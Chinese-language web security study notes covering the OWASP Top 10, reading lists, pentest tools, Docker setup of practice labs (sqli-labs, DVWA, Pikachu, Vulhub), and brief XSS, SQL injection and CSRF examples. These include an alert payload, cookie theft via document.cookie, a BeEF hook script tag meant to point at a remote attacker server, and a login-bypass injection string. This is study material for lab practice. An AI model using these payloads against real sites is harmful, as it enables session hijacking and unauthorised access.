漏洞攻防学习

Web 漏洞包含哪一些主流的漏洞类型,最佳的参考就是 OWASP Top 10

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
1、注入:SQL、NoSQL 数据库注入,还有命令注入和 LDAP 注入等。

2、失效的身份认证和会话管理:比如攻击者破解密码、窃取密钥、会话令牌或其他漏洞去冒充他人的身份。

3、跨站脚本(XSS):XSS 允许攻击者在受害者的浏览器上执行恶意脚本,从而劫持用户会话、钓鱼欺骗等等。

4、失效的访问控制:比如越权访问其他用户的个人资料、查看敏感文件、篡改数据等。

5、安全配置错误:比如服务器的不安全配置,导致敏感信息泄露。

6、敏感信息泄露:比如账号密码未加密存储、敏感数据传输时未加密保护,最终造成数据泄露。

7、攻击检测与防护不足:比如 WAF、主机入侵检测等防御系统部署不全,这块偏向漏洞防御本身。

8、跨站请求伪造(CSRF):攻击者诱使其他登录用户访问恶意站点,以冒用对方的身份执行一些敏感操作。

9、使用含有已知漏洞的组件:比如一些第三方的开源库、框架等,尤其是已公开漏洞的旧版本,比如名燥一声的 Struts2 漏洞,因频繁出现漏洞被许多开发者弃用。

10、未受有效保护的 API:比如浏览器和移动 App 中的 JavaScript API,常常因其提供的特殊功能未受有效保护而被滥用,造成不同等级的危害程度。

书籍清单
《JavaScript DOM 编程艺术》:https://item.jd.com/10603153.html

《JavaScript 高级程序设计》:https://item.jd.com/12958580.html

《PHP 和 MySQL Web 开发》:https://item.jd.com/10059047.html

《黑客攻防技术宝典:Web 实战篇》:https://item.jd.com/11020022.html

《白帽子讲 Web 安全》:https://item.jd.com/11483966.html

《Web 安全测试》:https://item.jd.com/10021008335997.html

《Web 前端黑客技术揭秘》:https://item.jd.com/11181832.html

《SQL 注入攻击与防御》:https://item.jd.com/12369984.html

网络安全从业者书单推荐:https://github.com/riusksk/secbook

网站推荐
FreeBuf:https://www.freebuf.com

安全客:https://www.anquanke.com

Seebug Paper:https://paper.seebug.org

安全 RSS 订阅:http://riusksk.me/media/riusksk_RSS_20190330.xml

CTFTime Writeups:https://ctftime.org/writeups

安全脉搏:https://www.secpulse.com

SecWiki:https://www.sec-wiki.com

玄武每日安全:https://sec.today/pulses

学术论文检索:https://arxiv.org/search/cs

Exploit-db:https://www.exploit-db.com

Github:https://github.com

信息安全知识库:https://vipread.com

先知社区:https://xz.aliyun.com

其他资料

HackerOne Hacktivity:https://hackerone.com/hacktivity

乌云公开漏洞、知识库搜索:https://wooyun.x10sec.org

知道创宇研发技能表:https://blog.knownsec.com/Knownsec_RD_Checklist/index.html


模块一:Web攻防基础

1、武器库:常用的渗透测试工具

Burp Suite:集成化的 Web 应用测试工具

在使用 Burp Suite 前需要配置浏览器代理,这样才能将 HTTP/HTTPS 请求转发到 Burp Suite 上进行分析与测试。

在 Chrome 的设置中搜索“代理”会让你选择“打开您计算机的代理设置”

打开之后就可以设置 HTTP/HTTPS 代理为 Burp Suite 的对应端口,默认为 127.0.0.1:8080

可以使用 Chrome 上的插件“Proxy SwitchyOmega”来快速切换代理

参考Burp Suite DocumentBurp Suite 实战指南这两份资料学习

Acunetix WVS

Xray:Web 漏洞扫描器 参考资料: Xray_and_crwlergo_in_servecrawlergo_x_XRAY

Goby:基于网络空间测绘的漏洞扫描器 官方文档

SQLMap:SQL 注入检测与利用 官网

Nmap:网络扫描与主机检测 官方文档

Postman:模拟发包工具

对于 Postman 与 Burp Suite,轻量操作可以选择 Postman,比如单纯发包测试接口,又懒得配置代理的操作;如果你需要更多安全测试方面的功能,比如改包、批量发包测试用来暴力猜解密码或遍历信息,那么 Burp Suite 无疑是最佳的选择。

HackBar:安全测试插件

NC(NetCat):网络瑞士军刀

Metasploit:渗透测试平台 官方文档

2、信息收集:掌握目标的一切信息

主动收集是指通过扫描确认目标的操作系统和网络服务,为后续发现漏洞提供信息帮助,但它可能引起目标的注意,或被记录下扫描行为。一些服务指纹检测、网站爬虫都是主动收集的方式,它们直接向目标发起请求,在有防火墙的情况下,可能会被拦截告警。

被动收集是指在不接触目标的情况下,通过互联网搜索来收集目标遗留在网络中的信息。这样可以避免引起目标的警觉。网上很多人说的公开来源情报(Open-Source Intelligence,OSINT,简称“开源情报”)正是需要被动收集的信息,它是从公共资源中收集到的。

在操作系统KaliParrot中有相应的工具列表,你可以找到很多不错的工具。

介绍 6 个信息收集的方法,分别是子域名与 IP 收集、端口服务探测、网站指纹识别、旁站与 C 段查询、WAF 探测和敏感信息收集。

子域名与 IP 收集

bounty-targets-data GitHub 上一个开源项目

红蓝对抗之域名搜集方法总结

……

3、搭建漏洞练习环境

Lark20201217-105445.png

安装 sqli-labs 靶场

1
2
3
4
sudo docker search sqli-labs 
sudo docker pull acgpiano/sqli-labs
sudo docker run -dt --name sqli-labs -p 80:80 --rm acgpiano/sqli-labs

1
2
3
4
5
6
7
8
9
10
-d:代表后台运行

-t:为容器分配伪终端

--name:命名容器

-p:指定映射端口,此处将 acgpiano/sqli-labs 的 80 端口映射到本地的 80 端口

--rm:退出时自动移除容器

直接访问http://localhost,可以看到 sqli-labs 已经成功运行了。

点击“Setup/reset Database for labs”链接完成数据库的安装

安装 DVWA 靶场

DVWA(Damn Vulnerable Web Application)是一款比较著名的漏洞靶场

1
2
sudo docker pull citizenstig/dvwa
sudo docker run -d --name dvwa --rm -p80:80 citizenstig/dvwa

安装成功后,打开http://localhost

点击“Create/Reset Database”创建数据库

使用默认密码 admin/password 登录

安装 Pikachu 靶场

1
2
3
sudo docker search pikachu
sudo docker pull area39/pikachu
sudo docker run -d --name pikachu --rm -p80:80 area39/pikachu

CTF 赛题练习

CTF(Capture The Flag)夺旗赛,在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式。CTF 起源于 1996 年 DEFCON 全球黑客大会,以代替之前黑客们通过互相发起真实攻击进行技术比拼的方式。发展至今,CTF 已经成为全球范围网络安全圈流行的竞赛形式。

各种国内外的赛事、题目与解答(write-up)都可通过该链接获取到,我在这里顺便也介绍几个现成的 Web 漏洞 CTF 在线练习环境:

1. XCTF 攻防世界https://adworld.xctf.org.cn

2. SQL 注入挑战平台http://redtiger.labs.overthewire.org

3. 韩国 Web 安全挑战平台https://webhacking.kr/

4. Websec CTF 练习平台http://www.websec.fr/

5. 网络信息安全攻防学习平台http://hackinglab.cn/index.php

6. 国外的 XSS 挑战平台http://prompt.ml/

安装 VulHub 真实漏洞靶场

Vulhub 是一款基于 Docker 和 docker-compose 的漏洞测试靶场,进入对应目录并执行一条语句即可启动一个全新的漏洞环境,让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。Vulhub 的项目开源地址为https://github.com/vulhub/vulhub。

1
2
3
git clone https://github.com/vulhub/vulhub
cd vulhub/flask/ssti
sudo docker-compose up -d

模块二:漏洞攻防案例

XSS(Cross-site Script,跨站脚本)漏洞无疑是最多见的

XSS 漏洞的分类

反射型 XSS

将攻击代码放在 URL 参数中,而不是存储到服务器,因此需要诱使用户点击才能触发攻击

以 DVWA 中的反射型 XSS 题目为例,通过向 name 参数输入以下代码即可触发漏洞

1
<script>alert(1)</script>

存储型 XSS

DOM 型 XSS

窃取 Cookie

通过 document.cookie 就可以访问到 Cookie

蠕虫攻击

一款非常著名的 XSS 攻击框架 BeEF

1
2
3
4
5
6
7
8
$ git clone https://github.com/beefproject/beef

$ cd beef

$ sudo docker build -t beef .

$ sudo docker run -p 3000:3000 -p 6789:6789 -p 61985:61985 -p 61986:61986 --name beef beef

我本地得到地址是:http://127.0.0.1:3000/hook.js(实际攻击时,可将 127.0.0.1 替换成你的远程服务器地址),那我就可以在漏洞页面插入如下代码进行利用:

1
<script>http://127.0.0.1:3000/hook.js</script>

SQL 注入

万能密码: ‘or’1’=’1

sqlmap

什么是 CSRF 漏洞

mAhxP8R84x3uK3ig__thumbnail.jpg

  • CSRF 读:通过伪造请求来获取返回的敏感信息,比如用户资料;常见的就是 JSON 劫持(详见下文),以及利用 Flash API 加载页面获取敏感信息。由于浏览器已经默认禁止 Flash,我就不介绍 Flash CSRF 的攻击手法了。
  • CSRF 写:通过伪造请求去修改网站数据,比如修改密码、发表文章、发送消息等操作。